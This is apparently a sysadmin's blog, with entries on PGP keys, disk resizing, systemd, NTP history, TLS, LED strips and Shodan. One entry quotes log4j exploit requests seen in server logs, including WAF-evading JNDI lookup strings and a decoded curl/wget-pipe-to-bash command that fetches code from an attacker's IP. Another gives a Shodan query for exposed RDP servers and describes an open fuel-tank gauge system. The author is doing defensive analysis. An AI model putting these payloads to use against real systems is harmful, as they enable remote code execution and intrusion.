2022-04-13 First IPv6 sightings at work
Years and years after writing proposals to start doing something with IPv6 at work I noticed the first systems actually having IPv6 connectivity in production networks. Finally getting there! I wonder when workstations will start having IPv6 connectivity.
2022-02-15 My work PGP key needed replacement and using PGP keys in thunderbird with their original passphrases
Today I tried to sign a key with my work PGP key, and after lots of tries the conclusion was that my 2006 work pgp key was too infected with SHA1 signatures that I couldn't remove, so I created a replacement work PGP key. Even a signature for the new key with the old key was rejected. So the new work key:
pub rsa4096/0x36FF19C6159C0262 2022-02-15 [SC] [expires: 2027-02-14] Key fingerprint = 1401 EE9F 25AD 23F1 C299 FD07 36FF 19C6 159C 0262 uid [ultimate] Koos van den Hout <k.vandenhout(at)uu.nl> uid [ultimate] Koos van den Hout <koos(at)surfcert.nl> sub rsa4096/0x918F8E7A170EA93E 2022-02-15 [E] [expires: 2027-02-14]I also signed it with my personal key, and I will try to get more signatures for the new work key to make things work better. Available at PGP key 0x36ff19c6159c0262. There you will see I also signed it with my old work key 0x42216fe29ee949cf but since that signature is also a SHA1 signature the new gpg implementation immediately rejects it. So I should get some signatures from people who have relatively new PGP keys. I've been using PGP since 1993 (29 years now!) and I can see the developments in PGP over the years in my keys. In the process I noticed one thunderbird installation insists on managing PGP keys completely and the other doesn't. Searching for the reason eventually found Use Thunderbird 78 with System GnuPG Keyring and I made sure the option mail.openpgp.allow_external_gnupg was set to true.
2021-12-13 Logs full of jndi: scans
A large part of last weekend was filled with the log4j vulnerability at work. Now I have some more time to look at the effect this has had on my home server I'm seeing a patter of lots of 'friendly' scanners with a few actual attack attempts in between. Some special ones from the logs: Trying all the fields (URL, referrer and user-agent), probably a 'friendly' scanner:45.83.66.84 - - [13/Dec/2021:04:53:21 +0100] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 969 "${jndi:dns://45.83.64.1/securityscan-https443}" "${jndi:dns://45.83.64.1/securityscan-https443}"Trying to circumvent web application firewalls that have been set up with simple rules against the log4j vulnerability. I'm not sure whether this is a 'friendly' scanner or an actual attempt at abuse.138.197.216.230 - - [13/Dec/2021:11:39:59 +0100] "GET / HTTP/1.1" 200 2211 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}ryedge.io:80/callback}"Trying to load a "Legitimate" java class.167.172.44.255 - - [13/Dec/2021:17:26:02 +0100] "GET / HTTP/1.0" 503 652 borchuk/3.1 ${jndi:ldap://167.172.44.255:389/LegitimateJavaClass} - -> /But related to an IPv4 address that is becoming famous, I find this gem:45.155.205.233 - - [12/Dec/2021:06:38:34 +0100] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==} HTTP/1.1" 200 2211 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA==}"And decoding the obvious base64 gives:echo -e KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC80NS44My4yMzIuMTM0OjQ0Myl8YmFzaA== | base64 -d ; echo (curl -s 45.155.205.233:5874/45.83.232.134:443||wget -q -O- 45.155.205.233:5874/45.83.232.134:443)|bashBut I haven't been able to fetch anything from 45.155.205.233:5874 yet and I'm getting really curious what it is/was. The other IP address is the external address of the server, so I guess it's a way to make curl/wget not return an error code.
2021-11-22 Resizing a filesystem through several layers
For work I use a supplied laptop with Windows 10. For some of my work I want to have a Linux environment available so I have VirtualBox with a Linux virtual machine running. And because some of the work I do on that Linux virtual machine I use full-disk encryption. And the installation was done with the encrypted lvm setting. Resizing the filesystem because it was getting full turned out to be a lot of steps! After stopping the virtual machine I wanted to resize the disk from the VirtualBox media manager but that gave an error. After that I tried the commandline, giving about the same error:> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifymedium rotterdam.vdi --resize 32768 0%... Progress state: VBOX_E_NOT_SUPPORTED VBoxManage.exe: error: Failed to resize medium VBoxManage.exe: error: Resizing to new size 34359738368 is not yet supported for medium 'C:\Users\hout0101\VirtualBox VMs\rotterdam\rotterdam.vdi' VBoxManage.exe: error: Details: code VBOX_E_NOT_SUPPORTED (0x80bb0009), component MediumWrap, interface IMedium VBoxManage.exe: error: Context: "enum RTEXITCODE __cdecl handleModifyMedium(struct HandlerArg *)" at line 816 of file VBoxManageDisk.cppIt turns out the .vdi is the wrong type for dynamic resizing. Solution: clone it! The new .vdi will have the dynamic type automatically and there is a "before" .vdi now on disk to revert to if anything goes wrong.> "\Program Files\Oracle\VirtualBox\VBoxManage.exe" showhdinfo rotterdam.vdi UUID: f832b0b4-8738-491d-bd9c-291d755a4af7 Parent UUID: base State: created Type: normal (base) Location: C:\Users\hout0101\VirtualBox VMs\rotterdam\rotterdam.vdi Storage format: VDI Format variant: fixed default Capacity: 26067 MBytes Size on disk: 26070 MBytes Encryption: disabled Property: AllocationBlockSize=1048576 In use by VMs: rotterdam (UUID: 2454dadb-a82d-4d74-bbea-8dcf2b2d1bf1) > "\Program Files\Oracle\VirtualBox\VBoxManage.exe" clonehd rotterdam.vdi rotterdam-2.vdi 0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100% Clone medium created in format 'VDI'. UUID: 835e2f75-c19d-4e98-865e-d7acf1359fc7 > "\Program Files\Oracle\VirtualBox\VBoxManage.exe" showhdinfo rotterdam-2.vdi UUID: 835e2f75-c19d-4e98-865e-d7acf1359fc7 Parent UUID: base State: created Type: normal (base) Location: C:\Users\hout0101\VirtualBox VMs\rotterdam\rotterdam-2.vdi Storage format: VDI Format variant: dynamic default Capacity: 26067 MBytes Size on disk: 26069 MBytes Encryption: disabled Property: AllocationBlockSize=1048576 > "\Program Files\Oracle\VirtualBox\VBoxManage.exe" modifymedium rotterdam-2.vdi --resize 32768 0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%I moved the old .vdi out of the way and added the new .vdi to the virtual machine and started it again. This worked fine, but the root volume wasn't any bigger (yet). Next steps: enlarge the extended partition and the Linux partition in it on disk using parted. You really have to know what you are doing here, so I'm not just going to give a cut-and-paste sample. Now I can resize the encrypted and mounted volume! With the right passphrase.# cryptsetup resize /dev/mapper/sda5_cryptAnd grow the 'physical' (ahem) volume:# pvresize /dev/mapper/sda5_cryptResize the logical volume:# lvextend /dev/rotterdam-vg/root -l +1674And finally resize the mounted filesystem:# resize2fs /dev/mapper/rotterdam--vg-rootAnd the filesystem has grown, and looks good in a fsck on the next boot. So solid state disk → Windows filesystem → vdi file → VirtualBox → disk in Linux virtual machine → partition → lukscrypt → logical volume manager → volume → filesystem.
2021-09-28 Debugging a systemd issue .. without having to curse
Today I ran into an issue related to systemd and I decided to try to fix it without too much cursing. The result was a number of google searches ending up on unix.stackexchange.com but eventually I fixed the problem. At work we use splunk for security monitoring and one of the indexers failed to start the splunk processes after a reboot. On browsing the systemd boot log with journalctl -b -l I discovered that the main issue was that creating files in /opt/splunk failed. This was due to an interesting race condition: splunk may start as soon as target network.target has been reached, but mounting /opt over iscsi also needs network.target to start. So the unit file has been updated to:[Unit] Description=Systemd service file for Splunk, generated by 'splunk enable boot-start' After=network.target opt.mountThe next problem was the systemctl start Splunkd.service failing in some intricate way. I had a look at the logging and saw that it was actually trying to restart the service and failed at killing one of the old processes. It turned out the /opt/splunk/var/run/splunk/splunkd.pid file had old contents and one of the PIDs in that file was now in use by a kernel thread. Those you can't kill, the restart failed and therefore the service did not start at all. Solution: remove the .pid file.
2021-04-08 Stopping with NTP servers at work
For almost 20 years I was involved with the running of NTP time servers at work. But the hardware aged and my job is no longer in systems administration and not in the department actually housing the timeservers. So, time to stop doing it. The pool ntp server has been retracted, DNS names removed and soon I will make one final trip to shut down hardware one last time and remove it from racks. The end for ntp.cs.uu.nl and others. I still run an NTP server at home which is available in the IPv6 NTP pool. That server also compared itself to one of the servers at work so it has been reconfigured. I added a few upstream servers and made sure all of them are reachable via IPv6. The log of NTP service at cs.uu.nl was kept, here is the final version:
Date Event 8 Apr 2021 DNS names for ntp service at cs.uu.nl removed 2 Apr 2021 Announcement posted to system administration mailing list that ntp service at cs.uu.nl will stop 24 Sep 2014 A second stratum-1 ntp appliance is brought on-line, galileo.cs.uu.nl 28 Nov 2011 Fixed the networking for stardate, the full time lab is up and running. 23 Nov 2011 The antenna cable connectors are soldered on which results in a working setup after a few tries. Stardate is better at reporting the state of the power to the GPS antenna, but has no working network. Huygens has working network and serves time to metronoom. 22 Nov 2011 The server ntp.cs.uu.nl is active at its new IP. Our own GPS reference doesn't work yet: we still need to solder the right connectors on the antenna cable. The server is added to the ntp pool and traffic starts to flow a few hours later. 15 Nov 2011 The ntp servers are moved to their new location 14 Nov 2011 The ntp servers are switched off 13 Nov 2011 We retract ntp.cs.uu.nl at its current address from the pool because the serverroom will move physically, the ntp equipment will move to a different location and the IP will change to deal with the traffic better 18 Sep 2011 Stats for doei.cs.uu.nl, five years after withdrawing it from the ntp pool 19 Sep 2010 Stats for doei.cs.uu.nl, four years after withdrawing it from the ntp pool 4 Mar 2010 The turkish adsl provider ttnet falls off the Internet for a few hours, traffic falls from 2000 packets/second to 100 packets/second in that time 22 Jan 2010 We volunteer ntp.cs.uu.nl for the turkish part of the ntp pool. Traffic explodes, peaks over 5000 packets/second 18 Sep 2009 Stats for doei.cs.uu.nl, three years after withdrawing it from the ntp pool 28 Jul 2009 ntp.cs.uu.nl back at full speed in the ntp pool, firewall configuration fixed 15 Jul 2009 rear doors of racks closed again 2 Jul 2009 10:00 serverroom airco has problems with high temperatures (28-30 C), we open rear doors of racks which makes the temperature go down a bit in the racks but the airco still has hard work Mar 2009 ntp.cs.uu.nl tuned down in the ntp pool to avoid firewall issue 18 Sep 2008 Stats for doei.cs.uu.nl, two years after withdrawing it from the ntp pool 17 Jan 2008 huygens.cs.uu.nl has a GPS reception failure, fixed with a software update 18 Sep 2007 Stats for doei.cs.uu.nl, a year after withdrawing it from the ntp pool 11 Mar 2007 airco failure serverroom 5 Mar 2007 all ntp servers moved to one rack close together for temperature stability 20 Jan 2007 airco failure serverroom 9 Jan 2007 huygens.cs.uu.nl added as stratum-1 23 Dec 2006 airco failure serverroom 29 Nov 2006 powerfailure in our building 1 Nov 2006 metronoom.dmz.cs.uu.nl takes over as ntp.cs.uu.nl and joins pool.ntp.org ~ 24 Oct 2006 antenna cable to stardate.cs.uu.nl reconnected ~ 6 Oct 2006 ntpd on stardate disabled: free running clock starts to differ too much from correct time ~ 25 Aug 2006 antenna cable from stardate.cs.uu.nl disconnected because of building and recabling activities 1 Aug 2006 doei.cs.uu.nl leaves pool.ntp.org 19 Aug 2003 doei.cs.uu.nl joins pool.ntp.org 10 Jan 1999 stardate.cs.uu.nl set up as stratum-1 with GPS time reference
2021-03-03 Checking the TLS setup for my webservers
I'm currently following the course The Best TLS and PKI Training Course in the World and learning even more about the workings of encryption, TLS and certificates. One of the things I learned is to balance security with performance. And I directly used this new insight on my own webservers. The connection which brought you this page from https://idefix.net/ is still encrypted but I saved a few milliseconds on the encrypted setup by switching from a big (4096 bit) RSA private key to a 384 bit ECDSA key which are comparable in cryptographic strength. But the calculations with the ECDSA key are less CPU intense. And yes, I have statistics on page loading times before and after the changeover of the key. It was a good moment to change private keys anyway, the old keys were more than a year old. This is one of those areas where I like having my knowledge hands-on. Actually understanding what is happening and why.
2020-12-05 Playing with a fully programmable LED strip
At work there is a sort-of competition for the best christmas decorations in the office. At the end of last year I considered doing something with programmable LEDs to 'participate' in this competition in 2020. This year turned out somewhat different, but slowly my son is also somewhat interested in electronics, soldering and making the computer do something. So I set out to find fully programmable LED strips. I found a good comparison of LED strips in a Youtube video: LED Strips, what's the difference? WS2811, WS2812B, 2812Eco, WS2813, WS2815, SK6812, SK9822. which compares the several available types and their pros and cons. After viewing this video and for my limited experiment I thought the WS2812B based LED strip would be the best choice. The next hurdle was controlling it and I found Connect and Control WS2812 RGB LED Strips via Raspberry Pi which has pointers to the right code. I am not following the advice on that page about working with mains power cables. That looks dangerous. I ordered a WS2812B based LED strip and a matching power supply for 5V 40Watt from a Dutch webshop and got it in a few days later. I was amused by the warning the webshop gave that a LED strip like this is for advanced users only because you have to add a controlling device and do all the programming. That is exactly what I intended to do! Programming is in Python3, and I haven't written any Python code before. But with a lot of google searches and looking at samples I got the idea right. I now have the LED strip blinking in exactly the patterns I want, including a nice pattern for a christmas tree. And it blinks 'MERRY CHRISTMAS' in morse code, because why not!
2019-03-19 Time to update putty
An interesting bit of news: SSH client gets patched after RSA key exchange memory vuln spotted.The fixes implemented on PuTTY over the weekend include new features plugging a plethora of vulns in the Telnet and SSH client, most of which were uncovered as part of an EU-sponsored HackerOne bug bounty.Get your updated putty at the PuTTY download page. Update: Interesting visual change in putty: informational lines from the client are now prefixed by a putty logo. This could make it harder to mislead the user in certain attacks.
2018-10-01 Getting distracted on shodan
Items with tag work before 2018-10-01This morning I was looking on shodan for open remote desktop servers in the work network since RDP was mentioned as an attack vector in the latest GANDCRAP ransomware. Searching for '3389' on shodan found something completely different: an open industrial control system (ICS) for tankstation gauges.IN-TANK VOORRAAD TANK PRODUCT VOLUME TC VOLUME VULVOL HOOGTE WATER TEMP 1 UL 98 9757 9693 10283 939.2 0.0 20.09 2 EURO 2...According to The Internet of Gas Station Tank Gauges -- Take #2 - Rapid7 this was already a reported issue in January 2015 and according to their research it may be possible to do bad things with this access. The above is from a gas station I can find on google maps. Oh I found the way to search for open remote desktop servers on shodan: port:3389.